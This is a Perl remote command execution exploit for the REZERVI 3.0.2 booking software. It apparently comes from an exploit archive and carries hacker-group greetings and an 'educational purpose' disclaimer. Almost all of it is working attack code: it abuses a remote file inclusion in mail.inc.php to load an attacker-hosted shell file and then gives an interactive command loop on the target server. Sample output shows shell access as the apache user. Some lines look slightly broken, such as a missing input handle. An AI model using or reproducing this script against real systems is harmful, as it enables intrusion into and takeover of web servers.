REZERVI 3.0.2 Remote Command Execution Exploit

#!/usr/bin/perl
####################################################################
# REZERVI 3.0.2 Remote Command Execution Exploit
# download: http://www.rezervi.com/downloads/rezervi3_0_2.zip
#
# Author: JosS & Randy Arios a.k.a eidelweiss
# mail: eidelweiss[at]cyberservices[dot]com
# blog: http://eidelweiss-advisories.blogspot.com
# Greetz: Inj3ct0r Team - YOGYACARDERLINK - devilzc0de - JosS [hack0wn] - exploit-db team
#
# INDONESIAN HACKER still R0CK!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
# uid=80(apache) gid=80(apache) groups=80(apache)
# [shell]:~$ uname -a
# Linux localhost 2.6.29-grsec #2 SMP Fri Aug 14 21:37:03 PDT 2009 i686 GNU/Linux
# [shell]:~$ exit
# localhost:/home/eidelweiss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
&clear();
print "[x] REZERVI 3.0.2 Remote Command Execution Exploit\n";
print "[x] Written By eidelweiss\n";
print "[x] eidelweiss[at]cyberservices[dot]com\n\n";
print "[+] Usage:\n";
print "[+] $0 -vuln \"web+path\" -shell \"shell\"\n";
print "[+] eX: $0 -vuln \"http://localhost/PATH/\" -shell \"http://yourweb/inj3ct0r/sh3ll.txt?\"\n\n";
exit();
}

my $options = GetOptions (
'help!' => \$help,
'vuln=s' => \$vuln,
'shell=s' => \$shell
);

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

print "[shell]:~\$ ";
chomp($cmd=);

if ($cmd eq "exit" || $cmd eq "quit") {
exit 0;
}

my $ua = LWP::UserAgent->new;
$iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
chomp($iny);
my $own = $vuln . "/rezervi/include/mail.inc.php?root=" . $shell . $iny;
chomp($own);
my $req = HTTP::Request->new(GET => $own);
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success){
print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
}
else
{
print "[p0c] Exploit failed\n";
exit(1);
}
}

# __E0F__